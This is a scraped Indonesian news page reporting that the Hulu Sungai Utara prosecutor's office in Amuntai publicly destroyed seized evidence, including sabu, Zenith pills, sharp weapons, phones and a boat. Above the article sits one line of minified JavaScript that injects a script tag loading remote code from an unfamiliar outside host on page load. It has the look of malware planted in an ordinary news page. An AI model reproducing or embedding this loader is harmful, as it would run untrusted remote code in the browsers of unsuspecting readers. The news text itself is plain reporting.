(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Kejaksaan Negeri Hulu Sungai Utara (HSU) menggelar pemusnahan barang bukti, seperti narkotika jenis sabu, obat-obatan terlarang Carnophen (Zenith), Dextro, senjata tajam dan jukung (Perahu) di halaman Kantor Kejaksaan. Kegiatan disaksikan oleh perwakilan pejabat, pelajar dan masyarakat.
Adapun barang bukti yang dimusnahkan diantaranya adalah 48.530 Butir Zenith/ Carnophen, Dextro sebanyak 6.025 butir, Sabu-sabu 78,01 gram, obat jamu /tanpa ijin edar berbagai merk 38buah, senjata tajam berbagai jenis 24 buah, HP sebanyak 26 buah dan 1 jukung (perahu).
Kajari HSU Herlina Setyorini, saat wawancara kepada kanalkalimantan.com mengatakan, pemusnahan barang bukti ini merupakan tindak lanjut kewenangan kejaksaan RI berdasarkan undang-undang No.16 tahun 2004 pasal 33 yang mana berisi tentang tugas Kejaksaan sebagai penuntut umum hukum, namun juga mempunyai tugas kewenangan terhadap pemusnahan barang bukti yang perkaranya sudah diputuskan oleh pengadilan.
“Berdasarkan hasil sitaan barang bukti tersebut, Kejaksaan Negeri berkewajiban sesegera mungkin melakukan eksekusi pemusnahan barang bukti, apabila dikhawatirkan barang bukti tersebut disalahgunakan oleh oknum petugas,” ujarnya
Herlina menegaskan bahwa proses pemusnahan barang bukti yang dilaksanakan ini, adalah semua hasil akhir dari semua perkara yang telah diselesaikan serta sudah memperoleh hukum tetap dari tahun 2016 sampai dengan 2017, meski sebagian lagi barang bukti sitaan telah dimusnahkan oleh pihak kepolisian.
Sementara itu, satu buah jukung merupakan barang bukti tindak pidana umum mengenai ilegal fishing yang sudah melalui proses akhir juga dipengadilan, namun untuk barang sejenis mengenai tindak pidana ilegal fishing lainnya masih dalam proses pengadilan.” Lanjut Herlina
Diakhir acara pemusnahan barang bukti juga dilakukan penandatanganan berita acara pemusnahan barang bukti yang ditandatangani langsung oleh Kejari HSU, juga ditandatangani oleh Sekda HSU dan Wakapolres HSU
Hadir dalam acara pemusnahan tersebut Setda HSU Suyadi, PLT Dinas Kesehatan Kabupaten HSU Agus Fidliansyah, Wakapolres HSU Kompol Handoyono Yudhi, serta Perwakilan Pengadilan Negeri, Lapas Amuntai dan Kodim 1001 AMT/Blgn. ***
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More
KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More
KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More
This website uses cookies.